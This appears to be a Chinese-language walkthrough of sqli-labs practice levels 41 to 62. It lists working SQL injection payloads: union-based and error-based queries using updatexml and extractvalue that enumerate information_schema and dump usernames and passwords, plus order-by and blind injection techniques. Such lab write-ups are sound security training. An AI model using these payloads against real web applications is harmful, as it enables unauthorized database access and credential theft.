第四十一关
经过尝试发现这一关为联合注入无闭合
使用下面的代码
?id=0 union select 1,database(),3--+
第四十二关
经过尝试发现密码没有被过滤,于是再进行注入
使用代码
0' union select 1,group_concat(username,0x3a,password),3 from users#
第四十三关
经过尝试发现这一关的闭合方式与前边两关不同。本关为‘)
闭合
与前边一关一样。
第四十四关
和四十二关一样,参考第四十二关。
第四十五关
和四十三关一样,不在重复。
第四十六关
经过尝试发现这关为order by 排序。
对于,order by联合注入?sort=1+
通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
http://sqli-qing.cn/sqli/Less-46/?sort=1+asc
http://sqli-qing.cn/sqli/Less-46/?sort=1+desc
sort()函数,进行排序。
发现可以。这是一种方法。
可以尝试,报错注入?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
接下来进行报错注入就行了。
第四十七关
类型为order by 子句-单引号-错误
具体方法见46关,单引号闭合。
第四十八关
这关虽然和四十六关一样 但是要进行时间盲注,具体方法见前面。
接下来的49,50,51,52,53.这几关基本上都是,order by排序。差别不大。不再细说。
第五十四关
这一关直接联合注入,
查看源代码
发现这一关没什么特别 特别在于查询的次数 key下面那段就是为了控制查询次数 随便表名列名。
第五十五关
与上一关没啥区别,见上一关。
第五十六关
同 Less 54。基于小括号_单引号。
第五十七关
同 Less 54。基于 _双引号_字符型。
第五十八关
经过尝试发现这一关为
手工报错型注入
注意id=正确值
1.爆表payload
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
2.爆列名(字段)payload
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
这个时候可能未能完全显示。
使用 and column_name not in (‘user_id’,‘first_name’,‘last_name’,‘user’,‘avatar’,‘last_login’,‘failed_login’) 来显示其他值:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+
爆值
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
第五十九关
无闭合方式。方法见58关。
第六十关
见第五十八关。
第六十一关
经过尝试发现与第五十八关闭合方式不同
使用下面的代码进行注入
?id=1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
第六十二关
经过尝试发现这关联合注入和报错注入都不行,使用盲注。
剩下的几关都与本关相同。只是闭合方式不同。